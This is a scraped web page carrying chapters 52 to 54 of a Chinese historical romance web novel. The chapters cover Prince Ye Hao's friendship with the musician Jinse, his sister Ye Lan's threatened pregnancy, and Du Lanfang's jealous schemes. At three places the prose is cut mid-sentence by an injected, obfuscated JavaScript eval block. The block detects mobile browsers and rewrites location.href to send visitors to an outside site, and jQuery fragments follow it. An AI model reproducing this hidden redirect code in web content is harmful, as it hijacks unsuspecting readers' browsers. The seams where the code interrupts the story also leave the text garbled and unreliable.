听闻此言,杜兰芳只觉火冒三丈,当即要进去问个明白,却被常嬷嬷捂着嘴离开了,待到了无人处,杜兰芳厉声问道:“你好大的胆子,竟敢这样对我。我不过想去问问明白。” 常嬷嬷施了一礼,不卑不亢地说道:“王妃,老奴多有得罪。这些小事不值得王妃动怒,主上说过,若耽误了主上的大事,他便不再顾念叔侄关系。” 杜兰芳脸色由青转红,手攥着拳头,气得忍不住发抖。“大事,大事,你们眼里只有大事。我的男人这是养了外室,孩子都有了,你们还让我忍!” 也难怪她气成这样,平日里叶均对她碰都不碰,原以为是因夏萱的缘故,没想到还有外室。 常嬷嬷怕她再做出什么出格的事情,便和言劝道:“王妃,咱们该回去了。这件事等查清楚后再说也不迟,万一冤枉了殿下,又是咱们的不是了。”说罢眼神凌厉地看了一眼杜兰芳,强扶着她的胳膊向王府大门走去。 路过前厅,遇见刚才引路的侍女,常嬷嬷解释道:“王妃身体不适,先回府休息了。麻烦转告信王殿下,改日再来向殿下问安。”说完便匆匆离开了。 那侍女便急急去书房禀告叶均与叶皓,兄弟二人停了棋,又去看了叶岚,叮嘱了些事后,叶均方才离开了。 叶皓送叶均到门口,看他远去了,忽而想到“王妃”二字,他命季萧备马,季萧反问道:“快到晌午了,殿下要去哪里?” “翠微楼!” 52. 援琴发清商 梁京的繁华是自申时至宵禁。此时刚刚午时,翠微楼里也无甚客人。 锦瑟对叶皓的到来有些惊讶,已多半年未见了,不想他会在这个时候出现,行礼后问道:“殿下这个时辰来是吃饭呢还是听曲儿呢?” 叶皓笑道:“我来看看故人。” “故人”二字让锦瑟心头一颤,笑着说道:“坐下喝杯茶吧。” 说罢叫来伙计带叶皓去了雅间,她亲自去端茶。 叶皓刚刚坐定,就见锦瑟端托盘进来,腰身一斜,抬头看着他,眼里都是笑意。这一笑虽素雅,却胜过莺歌燕舞无数,令叶皓心中欢喜不已。 锦瑟倒了一杯茶置于叶皓身前。叶皓端起茶,问道:“近来可好?可还有人找你麻烦?” “一切都是老样子,有几个无良的客人,倒也能搪塞过去。殿下这次归来是小住还是常住?” “应该会待一阵子……对了,你什么时候有时间?想请你到我府里去一趟。” 锦瑟手一顿,心想:难道他真的只视我为添趣助兴的玩物?于是眼眸一低,问道:“殿下是安排了宴会吗?什么时间?” 叶皓忙解释道:“不是,我妹妹在府里养病,心中郁郁难解。她在京中也没什么朋友,我想请你一起去品茶鉴曲。” 听闻此言,锦瑟心中顿觉轻松,忍不住笑了一下,说道:“殿下的妹妹,便是金枝玉叶,锦瑟怎敢与之品茗鉴曲。” “这个你不用担心,你是我的朋友,别人自然不敢轻看你。再者,我妹妹不是那样肤浅的人。” “殿下就为此事而来?大可差人来送帖子,何必亲自跑一趟呢?” “当然要亲自来请,下个帖子只怕会怠慢了你。” 听闻此言,锦瑟心中满是感激,他此刻待她就是朋友。她捋了捋衣服上的流苏,说道:“好吧,看在殿下这么有诚意的份上,我明日便去王府。” “好,明日上午我派人来接你。” “不敢劳驾殿下,我自己过去便可。”锦瑟只恐信王府的车架来此,会带来流言。 二人相谈甚欢,一壶茶喝完,叶皓下楼离开,锦瑟撑着栏杆目送。临出门前,叶皓忽然回头,朝她一笑道别。 这一笑,与当年洪汝河上的一笑别无二致,锦瑟心头一惊又一暖。 是夜,锦瑟推掉了宴饮,专心在房中调琴试衣。 次日,叶岚早早醒来,又是一夜难安。侍女端水进来服侍梳洗,画眉边为她梳头边说道:“姑娘起得越发早了,姑娘的身子还是要多休息才是。” 叶岚将衣服紧了紧:“大约是天气凉了,总是觉得身上发冷。” “一会奴婢再为姑娘准备厚一点的被子。” 正说话间,舒雁进来回禀:“姑娘,殿下让姑娘吃完饭喝完药,去水榭找他,殿下朋友过来品茗。” “他的朋友,我还是回避得好。”叶岚精神不济,不想见人。 “殿下说来的是女宾,说今日天气好,请姑娘出去走走。”叶皓叮嘱舒雁一定要将叶岚带过去。 女宾?哥哥竟然请了女宾来?谁家姑娘会独自应男子之约?叶岚又问道:“可还有别人?” “这个……殿下没说。” “准备早膳吧。”叶岚命画眉为她簪几根发簪,用厚厚的脂粉遮住了苍白的脸色。既然要见人,不能失礼。 她用过早膳、喝过药后,带着舒雁并两个小侍女一齐去了花园。路上,远远就听见水榭里传来琴声。 走近了才看见是叶皓在弹琴。旁边的茶炉上煮着茶,烤着橘子、桂圆等小食。一位身着翠色软缎锦花纹饰衣裙的女子站在栏杆前喂鱼,身子前倾,如山茶花枝微斜。 叶皓听见脚步声,抬头停了琴说道:“你来了,过来坐,今日感觉如何?” 当着外人,叶岚隐了实情:“还好……” “这位是锦瑟。”叶皓又转向锦瑟说道:“这就是我妹妹。” 锦瑟亦转过身来,规规矩矩地行了叩拜礼,说道:“锦瑟见过公主殿下。” 叶岚见叶皓毫不避讳,便知她与别人不同。笑道:“起来吧,既然是哥哥的朋友,不必客气。” 说罢向锦瑟点头示意,然后转向叶皓说道:“我竟不知哥哥的琴弹得这样好?” “琴曲通剑意,是练剑的时候学的。”叶皓漫不经心地说着。 但叶岚脑中立即闪过“长右山”几个字,这是什么神仙地方? 她在看锦瑟,面容姣好,楚楚动人。举手投足间虽有几分风尘女子的韵味,可她与人搭话却又简明自然、爽荡无禁忌,真是个明媚的女子。 叶皓站起来将位置让给锦瑟,说道:“在她面前,我是班门弄斧了。锦瑟的琴技在京城若称第二,便没人敢称第一了。” 锦瑟立即谦虚地说道:“殿下真是羞煞我了,哪里有殿下说但那般好,让公主见笑了。公主想听什么曲子?” “姑娘自便。”叶岚看着她二人的谦让,嘴角多了一抹意味深长的笑容。 “献丑了。”锦瑟抬手抚琴,一段“高山流水”自琴弦而出,悠扬婉转,犹如天籁。 叶皓坐于琴架右侧,低头看着琴弦,却频频向锦瑟侧目。每一个深沉的注视,都有着无比的温柔与深情。 叶岚见此情此景,心中更明白了十分。 手停曲毕,叶岚称赞道:“峨峨兮若泰山,洋洋兮若江河。姑娘的技艺果然不俗。” “公主谬赞了。”锦瑟低头行了一礼。 听见二人的对话,叶皓才回过神来,掩饰了一下说道:“茶好了,喝茶吧。” 舒雁将茶按主次一一奉给众人。 叶皓把自己面前的茶端给了锦瑟,随后又接了另一杯。他对叶岚说道:“你还病着,就不要饮茶了。” “唉,可惜了这好茶,我不喝,闻一闻也好。”说罢接过杯子闻了一闻,赞道:“的确是好茶。” 说话间,只听见师英玉的声音:“暖暖,你才好些,怎么又出来了?” 她边说边走,走进了水榭才发现还有别人在,她立即向叶皓行礼道:“参见殿下,属下不知殿下在此,是属下造次了。” “我早已说过,不在军营不必多礼。”叶皓边说边饮了一口茶。 师英玉注意到锦瑟,于是说道:“不知殿下今日有客来访,属下先告退了。” “无妨,这位是锦瑟,我的朋友。你既然来了,就一起坐坐,喝杯茶……” 叶皓话还没说完,有侍从来报:“文辉大人来了,在书房等候殿下。” 叶皓说道:“好,我这就去。”说完又转向众人:“诸位,我去去就来。”然后独独看向锦瑟,给她一个安慰的眼神。 锦瑟意会,起身行礼相送。 叶皓走后,师英玉便松了口气,坐到了暖暖身边,问锦瑟道:“姑娘可是翠微楼的锦瑟?” 锦瑟未落座,垂下眉目说道:“正是。” 师英玉倒不在乎这些:“在下师英玉,姑娘请坐吧。方才远远听见的琴声可是姑娘弹奏的?” “正是。”锦瑟回答,但身形未动,问道:“敢问姑娘可是师小将军?” 师英玉喝了口茶,点头说道:“是啊,你听说过?” “师家满门豪杰,师小将军巾帼英雄。何人不知何人不晓?” 师英玉笑了笑,说道:“哪里就成了英雄?” “小将军不惧辛苦,驻守边塞,保我大梁安宁,自然可以称得上英雄。”锦瑟又行一礼,表示钦佩。 叶岚见她拘束,说道:“起来坐吧。” “锦瑟身份卑微,怎敢与公主、将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073896|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同座。”锦瑟起身后侍立,不敢落座。 叶岚宽慰她:“姑娘不必妄自菲薄,能让我哥哥称之为朋友的人,必定错不了。此处没有别人,坐吧。” 锦瑟抬头看着叶岚,心下十分感激:她贵为公主,竟未嫌弃她是乐籍。 师英玉亦说道:“好多年未听到琴曲了,不知姑娘可否能再弹奏一曲?” 锦瑟理了理裙摆坐到琴边,问道:“将军想听什么曲子?” 师英玉想了想,说道:“我不太懂琴曲。暖暖,你想听什么?” 叶岚看着桂圆在火炉边爆开,缓缓说道:“凤求凰。” 琴音悠悠,叶岚又陷入思绪:他也是长右山弟子,从未听过他弹琴,他那句“有机会弹给你听”,亦是无果的承诺,如今与他的牵绊只剩下腹中这个孩子了。 想着想着只觉腹中一阵异动,沉沉得有下坠之感,却又不像是胎动。她下意识地用手抚摸了一下。 师英玉见叶岚皱眉,小声关切道:“脸色这样差,可是哪里不舒服。” 叶岚点点头。 师英玉拉过叶岚的手,冷若寒冰,她倒了些热水递给她,说道:“或是着凉了,喝些热水吧。” 锦瑟亦看出异样,停了琴说道:“此处寒凉,请公主回去安歇。” 叶岚未动,而是说道:“哥哥还没回来,留你独自在此处,岂不是怠慢了朋友。” “公主身子要紧。公主与小将军未嫌弃锦瑟卑微之身,锦瑟感激不尽,又何来怠慢一说。锦瑟自会向信王殿下告辞。”锦瑟说罢行礼,请叶岚先行。 叶岚扶着师英玉的手起身说道:“多谢你今日能来,姑娘请自便,告辞。” 未想刚想出水榭,便看见一个身着缃叶色衣衫的女子进来。叶岚看着眼熟,却一时想不起来是谁。 那女子见到叶岚便快步过来拜道:“臣女文瑶拜见公主殿下。” 话说这文瑶对叶皓钟情,多年不移其志。她哥哥文辉为断了她的念想,带她远赴任上,也未奏效。可惜花有情、水无意,叶皓屡此婉拒,文瑶依旧不改初心。 文辉也曾闻四殿下平日之风流,不认为叶皓会是良配。文辉夫人亦多在京中留意世家子弟。可文瑶既见高山巍峨,再见小山起伏就心弦难拨。故而蹉跎至今日。 此番叶皓带叶岚归京,隐秘行事。可天下哪有不透风的墙,越是隐秘,越容易引众人谣言。文瑶亦闻风声,遂着人留意信王府动向。 终于她的侍女发现信王府的采买数量远远超出平日,又有妇科圣手祝慎之频繁出入。便笃定叶皓带回了心怡的女子,她伤心痛苦了好几日。 叶皓为了叶岚身份之事,欲请文辉帮忙,遂下了请帖,欲以实情相告。文辉应邀赴约,文瑶请求相随。文辉不应,文瑶便又去求嫂嫂。 她嫂嫂雅珊戳着她的额头,恨铁不成钢地说道:“最是无情帝王家,信王有什么好?京中那么多好男儿哪一个不比信王合适,依咱家的家世,何愁找不到一个好儿郎?” “若不能与心悦之人相守,不如一人孤独终老。”文瑶双目含泪。 “心悦讲的是两心相悦,而不是你这般单相思。况且若殿下真的带回了妾室,你去了又该如何?又能如何?” 雅珊的话戳到了文瑶的痛点,她也不知如何,只嗫喏道:“我只是想看他一眼……” 雅珊疼惜小姑,不忍她煎熬,无奈道:“那好吧,你去了只说是逛逛王府的花园,不可多言。” 文瑶狠狠地点点头,千谢万谢过嫂嫂后,遂在今日与文辉一起来拜访信王府。 叶皓见了文辉兄妹,也未避嫌,将叶岚之事具以实情相告,当下文瑶便解了心中千千结。 叶皓有意支开文瑶,以便他和文辉商议。于是对文瑶说叶岚就在水榭,她可以去看看。 53. 几人愁肠断 文瑶于水榭外见到了叶岚,她拜倒行礼:“刚才信王殿下说是六公主回来,臣女还不相信,不想真是六公主回来了。” “你是……文瑶?”叶岚看着眼前的女子,一点点回忆起来。 文瑶:“是,臣女文瑶。” “文姐姐,好久未见了。起来坐吧。”叶岚看了师英玉一眼,二人又回到原处,少不得要回去再坐一会了。 文瑶落座后,看到锦瑟亦同席,便质问到:“你怎么也坐在这里?你是什么身份?怎敢与公主同席?” 这几句话,让锦瑟的脸有些发白,但还是挺直了脊梁,只点头行礼道:“锦瑟见过姑娘,是信王殿下请奴家过来抚琴品茶。” “一派胡言。信王殿下怎会邀请你这样的人?”文瑶竟然有些愤怒,她转向叶岚,继续说道:“六公主,你可知她是翠微楼的娼妓?” 一听到“娼妓”二字,锦瑟站了起来,一只手紧紧攥住了衣裙,但还是习惯性的微笑了一下说道:“我是乐工。” “都是贱籍,有什么分别?在公主面前也敢自称‘我’,真是大胆。”文瑶寸步不让,咄咄逼人。 叶岚见文瑶跋扈的样子,心想:这么多年了,还是这个性子,放在以前叶岚不愿理她,但现在却想为锦瑟辩上一辩。 她起身说道:“锦瑟姑娘的确是我哥哥请来与我品茗的,文姐姐如此出言不逊,怠慢了她,怕是不妥吧?” 文瑶一听是叶皓请来,心生妒忌,嫉妒又转为怒气,亦站起来说道:“她在这里,便连累殿下的声誉。” 此时,叶皓正好赶来,两步并一步挡在锦瑟身前,声音虽平和却也威严:“文姑娘,请自重,锦瑟是本王请来的客人,在本王府上对本王的客人无礼,可是做客之道?还有,本王的名誉不敢劳烦文小姐来管。” 文瑶不忿:“殿下怎可与贱籍交友。” “本王交什么样的朋友与文姑娘无关。”叶皓隐隐有怒气,但碍于文辉不好发作。 文瑶还要说什么,却被文辉喝止:“文瑶!住口。”随即也走上前来向叶皓道歉,说道:臣妹无礼,殿下恕罪,臣这就带她回去,严加管教。” 叶皓点头示意,侧过身去。 文瑶侧过脸去,眼含滴泪,一脸怨怼。 文辉又转向叶岚,叩拜道:“臣,文辉,拜见公主,自卢峰渡一别已经年,臣还能再见到公主,真是万幸。” 当年卢峰渡分别的情境历历在目,叶岚微微一笑:“文大人,我也未曾想咱们还能再见。” “今日臣妹叨扰了公主,微臣代妹向公主请罪。”文辉对妹妹的僭越十分不满,少不得要向叶岚赔罪。 “无妨。”叶岚已是十分劳累,声音中透着疲惫。 文辉告辞:“殿下,若无其它的事,臣便告退了。” 叶皓点头应允后,文辉又施一礼,带着文瑶出府去了。 一番折腾,叶岚觉得十分不爽利,便对叶皓说道:“哥哥,我同玉姐姐还有话要说,先告退了。” 她亦对锦瑟点头示意后,与师英玉一起带着舒雁离去。 叶皓拉锦瑟坐下,亲自倒了一杯茶给她,安抚道:“让你受委屈了,我不知道那文瑶会不请自来。” 锦瑟说道:“锦瑟怎敢有委屈,是锦瑟惹恼了文小姐。” 叶皓声音愈发柔和:“不是你的错,你不必自责。” 锦瑟苦笑了一下,只看着茶杯,说道:“今日多谢殿下与公主为我解围。文小姐说道对,贱籍不可与王孙公子同座。今日是奴家僭越了。” 说罢起身端端正正的行礼告退,抱琴离去,她挺直腰杆,目光向前,仿佛这样才可以维护她最后的一丝尊严。 叶皓看得出她背影的落寞,心下愧疚,今日是他思虑不周全,还邀了文辉同来,他追上去,接过她手中的琴,想亲自送她回去,算是赔礼。 却说师英玉一直未语,颇有玩味的看着这一切,在与叶岚同归路上,终于忍不住发笑。 叶岚不解的问:“你笑什么?” 师英玉:“自然是笑刚才的一出好戏。信王殿下呀,多情而不自知,惹得女子个个芳心暗许。” “多情?怎么讲?他绝不是花心之人。”在叶岚看来,他哥哥自是正人君子。 师英玉细想了想,说道:“怎么说呢,殿下年轻有为,有姑娘倾慕倒也正常,只是他却不拘小节,从不避嫌,他的一句话一个动作,就可能让别人误会他的意思。他自觉没什么,可在别人看来就是多情罢。你总说军中规矩大约束了我,可我也是为了避嫌,守好规矩,自然就让别人说不出什么。” 叶岚想想,倒也是这么个理,这么些年叶皓也不立正妃,也不知他心中到底做何想法。于是又问道:“你看他可有真心新欢的女子?” “在军中哪有几个女子,都是杂役、徭役或者落难被救的女子,殿下倒是一视同仁,从未嫌弃过她们,也有过亲自包扎伤口、喂药的小事。要不我怎么说殿下不拘小节、不避嫌呢?这些虽是小事,可那些女子却当了真。也有过死缠烂打,发誓赌咒的,说为奴为婢也跟着殿下的情况,在京中的情况我也不太清楚,不过我刚才看他待锦瑟姑娘倒是不一般。” 叶岚回想着刚才的一幕幕,说道:“我也看出来了,锦瑟虽出身乐籍,我看倒也不像那浮花浪蕊之人,今日文瑶的言行着实是过分了。” “文瑶那是吃醋了,对于锦瑟,公主呀,要知道知人知面不知心,说几句我不该说的话,殿下身系江山社稷,不应该在儿女情长上纠缠,更何况,梁国现在尚有大事未决。”师英玉这几句话说道倒是很严肃。 叶岚也知她说的是杜卫之事,便说道:“姐姐是心怀天下之人,才会有此见地。” 师英玉笑了笑:“我只隔岸观火,看得清楚些罢了,行伍漂泊之人,都不宜家室。” “照你这样说,军旅之人都不要娶亲了。”叶岚也笑着说道。 师英玉:“这一年多跟着殿下四处巡守,布防,真的觉得很累,或是我心中放不下祖父的事情,也或是身边没有亲人的缘故。这几日与你在一起倒是很开心。” 听到此处,叶岚忽然想到了泽生,觉得这件事还是有必要向师英玉说一下,于是说道:“我不知姐姐在军中是什么样子,但看姐姐现在的状态是再好不过了。不瞒姐姐,我离开祁国之前曾对泽生说过,要替他来寻手帕的主人,可知道了那人是你,我便打算失约于他了,正如姐姐所说,漂泊之人,不堪托付。依我对他的了解,他这个人,大概很难安定下来,我不想姐姐也受我曾经受过得苦楚。” 师英玉沉默了一会,说道:“提他做什么,都过去了。难得你我二人如此知心,也多谢你为我着想。任泽生,我欣赏他的人格,性情爽朗、杀伐果断、敢做敢为,可我自知与他无缘,便也不抱希望。” 叶岚拉着她的手,说道:“你既然已有主意,我也放心了,此后不会再提及此事。” 师英玉反将她的手握在手里暖着,沉吟了一会说道:“对了,我大伯从军中回来了,今年要带我一起回亳州过年,明日我便要回乡了。” “这么快……你走了,又剩我孤零零的一个人了。”叶岚不由有些伤感。 “等大局定了,我就回京来,那时咱们便可日日在一处了,还有这个小朋友。”师英玉边说边笑着摸了摸叶岚的肚子,继续说道:“你要保重好自己。我给孩子置办了小衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073897|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起去看看。” 叶岚未语,走这一路,只觉全身无力,身体沉沉。 师英玉挽着叶岚的胳膊,只感觉到觉胳膊上的力度加大,便停下脚步看她,只见她面色如纸。 此刻舒雁也快步上来,她自是受过严训,主人交谈,不听不闻,所以不远不近的跟着,见到她二人停下,便知有事,故而能及时赶上。 舒雁见此,心下一沉,转身唤两个小侍女过来,吩咐一个去通知殿下、一个去通知高顺,她则与师英玉将叶岚扶回了淡云阁。 到了淡云阁,叶岚喝了半碗参汤后沉沉睡去了,师英玉寸步不离的守着。 叶皓正待上车送锦瑟,听闻此言,命季萧立即去请祝慎之,他则赶回看叶岚。 半个时辰之后,祝慎之也匆匆赶来,搭脉细诊,愁眉不展。于无人处对叶皓说道:“有孕之人宜端心正坐,清虚和一,无妄喜怒,无思虑。再者儿在母腹,借母五脏之气以为养也,苟一脏受伤,则一脏之气失养不足矣。表小姐哀乐不节,郁怒伤肝,则胎失所养,加之身受金创。在下还是先前的话,这胎儿……殿下还是早做打算。” 叶皓此前还是抱有万一的希望,但听了此话,又想到叶岚频频晕倒,心下凉了一截,但又不能擅做主张,于是,他对祝慎之说道:“劳烦先生再开一剂安胎药,这件事本王还需告知妹妹。” 这难道是硬要保下这胎儿?到祝慎之心中打鼓,时候一尸两命,该如何是好,他偷偷看一眼叶皓,严肃的神情不容他辩驳什么,只得说道:“草民这就去开药方。” 刚倒退着走了两步,他便又听见信王低沉声音:“烦请先生再开一剂能保住大人的药。” 祝慎之连连称是,退下去了。 叶皓自是不甘心,吩咐季萧请来叶均,具以实告。 叶均未多想,着人回府去拿自己的名贴,去请太医院的董太医。 叶皓有疑虑,叶均却说道:“你嫂嫂之前的胎都由他瞧过,与我有些交情。再说太医院的人什么宫中秘辛之事没见过经过。” 叶皓十分担忧:“暖暖之事,我已请文辉帮忙安排,可暖暖自己还未拿定主意,她如此心绪不宁、郁结难解,也是这个原因。” 叶均对此事态度十分坚决:“此事由不得她,受这些磨难还不够吗?我是断然不会让她再到祁国去了。” 叶皓:“可是她和……” 叶均斩钉截铁的说道:“好了,此事就这样定了。” 此时,侍女来报:姑娘已经醒了。叶均、叶皓立即一起去了淡云阁,师英玉见二人至,便告退而去了。 不多时,董太医也到了,细细搭脉,又看了药方,思索良久,说道:“祝先生被称为“妇科圣手”,我等医术也恐有不及。现下也只能用针灸和熏艾再试一试。” 叶均二人听闻此言,便也知这是最后的办法了,只能请董太医尽力一试。 叶岚也于恍惚听到了此话,心中悲痛,她与冷逸尘的牵绊只剩下这个孩子了,若孩子没了,她与他将再无瓜葛。心中酸涩,眼中含泪,求救似的看着叶均与叶皓。 叶均见叶岚醒来,坐到床边,用软帕将叶岚眼角的泪擦掉,不及叶岚开口,便说道:“放心,我们尽力一试,一定会保住这个孩子。你不许多想,只管好好休养。” 叶岚眼角又是一行泪,一只手仿佛抓住救命稻草一般抓住叶均的手,叶均轻轻拍一拍,说道:“别怕,不哭了……” 叶岚点点头。 一番施针熏艾结束后已是午后,叶均亲自送走董太医,封了厚厚的诊金,并交代了几句。 董太医见两位亲王如此重视,自然懂得其中的厉害关系,诺诺称是,告退而去。 54. 一波起三折 待叶看着岚服药睡下后,兄弟二人来到书房对弈。 叶均落一子,有些严肃的说道:“你可知此次出征比预计的时间长了不少,那九道催战的旨意你视而不见,朝中对你颇有怨言。” 叶皓却不在意的说道:“将在外,军令有所不受。” “道理是这个道理。可久在朝中的人哪里会想得到这一点,宣相良本意欲治你的罪,还好是朝中有人提出异议,父皇清醒时给驳了回去。此番你在京中要小心行事。” 叶均说完落下一子,继续说道:“还有一件事,我很是疑惑。咱们两年前便猜出来杜卫的不轨之心,这两年来看他的作为的确也有此意,可迟迟却不见行动。父皇这病,若是寻常人家也拖不过一年。我总是担心荣贵妃会加害父皇,所以买通的父皇身边的沈中官,他言荣贵妃待父皇倒是无微不至,故而父皇得以康健至今。如此看来,我到有些看不准了。” 叶皓拿着一子,思索良久才落下,说道:“如此说来,的确有些蹊跷。我近日会秘密调派我的亲军驻扎京师之外,以备不时之需。” “知己知彼,百战不殆。不战而屈人之兵,善之善也。依我之意,京师重地,非危不战。” 叶皓思量一下,觉得也不无道理,但还是有所疑虑,问道:“如此等下去,只怕会错失良机。” 叶均抬头看了他一眼,叮嘱道:“你暂不可妄动,还需静观其变,顺势而为。” 叶皓点点头。 叶均继续说道:“刚才怕暖暖多心,没有说,祁国送来信札,要派使团来访,朝廷已经同意了。” 叶皓拿着棋子的手顿了一下,问道:“持节者何人?” “祁国崇宁王。” 叶皓冷笑一声,说道:“他早就该来,为重峪关之战、为暖暖之难做个交代。”说罢,重重的将棋子落下,心中似愤恨不平。 “他这人如何?” “正人君子,心地仁善。但又过于墨守成规,不适合庙堂之高。”叶皓不假思索的回答,他心中然心中怨冷逸尘,但对他的评价依旧中肯。 叶均抬头看了他一眼,复又去看棋盘,说道:“哦?你倒对他倒挺了解。你刺向暖暖那一刀,是朝着崇宁王去的,可那一刀并足以致命。” 叶皓自觉露了破绽,掩饰道:“上次去祁国,见过,见过。” 叶均猜测他隐瞒了实情,便起身续了些茶水,活动了一下筋骨,笑道:“你既与崇宁王有旧,又经重峪关一战。此番他前来,避避嫌吧。我会自请去接待使团,必会向他讨个说法,给暖暖个交代。”说完,转头看看外面,说道:“这半阴不晴的天气,真是压抑。就到这里吧,我去趟宜州,暖暖的事,你嫂嫂还不知道,我告诉她一声让她安心。” 二人也不论输赢,罢了棋局。叶均去后,叶皓收到了江源的拜帖。叶皓恐他来府中多有不便,便又回了请帖,邀他在明日在三元楼一叙。 叶均与叶皓对弈之时,成王府中却炸了锅。 杜兰芳自昨日从信王府归来后,怒气填胸。奈何常嬷嬷压制,心中怒火无处发泄,便摔了许多的盘盏杯碗。 叶均归府后探视杜兰芳,常嬷嬷怕杜兰芳出言不逊便未让二人相见,只言:侧妃无大碍,服药睡下了,休息一晚便好。 叶均也未放在心上,他虽对兰芳无感,亦同情她为人棋子,不得自由,故而对她只是尊重,出行或归来必遣人告知。 杜兰芳气走夏萱后,自以为胜利了,便在府里横行了些时日。只许侍女、侍从们称自己为“王妃”,叫错一次便重重惩罚,府中之人颇有怨言。 叶均待她依旧不温不冷,杜兰芳有苦难言。后来荣贵妃又派来常嬷嬷规范她言行,致使她愈发的压抑,行事愈发极端。 昨日之事后,杜兰芳便派了自己的心腹侍女阿若前去探查信王府消息。阿若是杜兰芳陪嫁侍女,在京中并无朋友,便只能借着采买的由头出府,到信王府门口探查。 今日她见信王府人员出入频繁,便细细查看,只认出了叶均和董太医。董太医是她与杜兰芳入宫时见过的。她立即回去将经过细细告诉了杜兰芳。恰巧叶均的侍从回来取名贴时被杜兰芳撞见,问出了是叶均要去请太医。 如此她便知道了叶均请太医是为了给信王府里的女子瞧病,也更加确认了叶均将有孕女子藏匿于信王府中。后又收到叶均要去宜州的消息,便切齿痛恨,怒火难忍。当即命人套车,准备去寻叶均。却被常嬷嬷阻拦。 杜兰芳无处发泄,只拿房中侍女出气,出完气后又痛哭一场。常嬷嬷见她又要生事,看似劝慰实则命令,奉着茶说道:“王妃暂且忍耐。此事尚未分明,待殿下回来讨要说法也不迟。” “殿下都不回来,我何时能见到他。忍耐、忍耐,你叫我如何再忍耐下去。”杜兰芳的心情压抑到了极点,顺手打翻了常嬷嬷手中的茶碗。 常嬷嬷浅浅呼了一口气,忍着怒气耐着性子笑道:“若王妃安静些,殿下自会归来。”说罢转头吩咐侍女:“王妃累了,去煎一碗浓浓的安神汤来。” 那安神药本就是配制好的丸药,只需用温黄酒化开服用便可。不多时安神汤药端来,常嬷嬷看着杜兰芳服下后,满意的告退而去。只留下了侍女阿若。 阿若是杜兰芳的陪嫁侍女,见自家姑娘如此痛苦,便对她说道;“姑娘,不必自苦。咱们在西南时,何受过这种气。如今您是堂堂王妃,做什么事何必要看他人脸色。” 杜兰若犹有畏惧:“可常嬷嬷她……” 阿若却说道:“她虽是贵妃娘娘派来的,但也只是个奴仆。尊卑有序。她能耐您何?” “我该怎么办?” “先稳住常嬷嬷,待她松懈了,咱们再出手。宜州的咱们够不到,但是信王府的又有何难?姑娘先安睡,咱们从长计议。”阿若为她放下帐幔,心中有了主意。 不多时杜兰芳睡去,等阿若叫醒她时,她才知常嬷嬷不慎扭伤腰。杜兰芳心下明白是阿若的手段,心中痛快了不少,顿觉整个人都精神了许多。 她让阿若帮她整理了发髻,带着药膏和滋补用品去看看常嬷嬷。常嬷嬷一看她主仆二人得意的样子,便立即肯定了自己的猜想。但她摔倒时身边无人,也不好指证,少不得要吞下这哑巴亏。 杜兰若按下欣喜,故作悲痛的说道:“嬷嬷,这几日就好好休息,我已着人去请郎中来给嬷嬷瞧瞧。嬷嬷快快好起来,王府的好多事还要嬷嬷操心呢。” 常嬷嬷也只得笑着应答。一番主仆情深的表演后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073898|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杜兰芳离开了,常嬷嬷的后槽牙都要咬碎。 郎中来时,阿若早已打点好,并说:“嬷嬷伤的很重,需要长时间休养,先生要多开些药。”郎中惦着银子,连声称是。 就这样,常嬷嬷就被软禁了起来。 第二日,信王府中。叶皓看着董太医为叶岚施完针,又盯着叶岚喝完药后,才换了衣服去三元楼赴江源之约。 叶皓在雅间里喝了两盏茶,才等来了江源。江源进来连声道歉:“来迟了,来迟了……” 他二人已有半年未见,只有书信来往。只见江源身着雪青色长衫,腰间还挂了香囊,以前他多穿青灰色衣衫,也没有太多讲究。 这身装扮让叶皓不禁多看了两眼,笑道:“不愧是成家的人了,穿着打扮都不一样。还有,你这身上熏的什么香、奇奇怪怪的味道。” 江源摆摆手笑道:“普通熏香罢了。” 叶皓好奇的说道:“说来,你成婚也快一年了,什么时候让我见见嫂子。我差人送贺礼去你家,你家的人只说主人不在,贺礼也未收。也没听说你带家眷随军呀?” 江源落座后,先倒了一杯茶喝了,而后说道:“我们现在居住在城外。” 叶皓恍然,怪不得他比自己来得还晚。他又疑惑:“城外?真是新奇,你不让我见也就罢了,还把人藏了起来。” 江源顿了顿,解释道:“是她不愿入城居住。” 叶皓无奈的笑着摇摇头,也不再追问,说道:“好吧,等改日我再去拜访嫂嫂。” 江源反问:“我给殿下拜帖,殿下却邀我在此一聚,莫不是真如传言所说,带了美娇娘回来?” 叶皓叹了口气:“江兄,你也是如此看我的吗?” 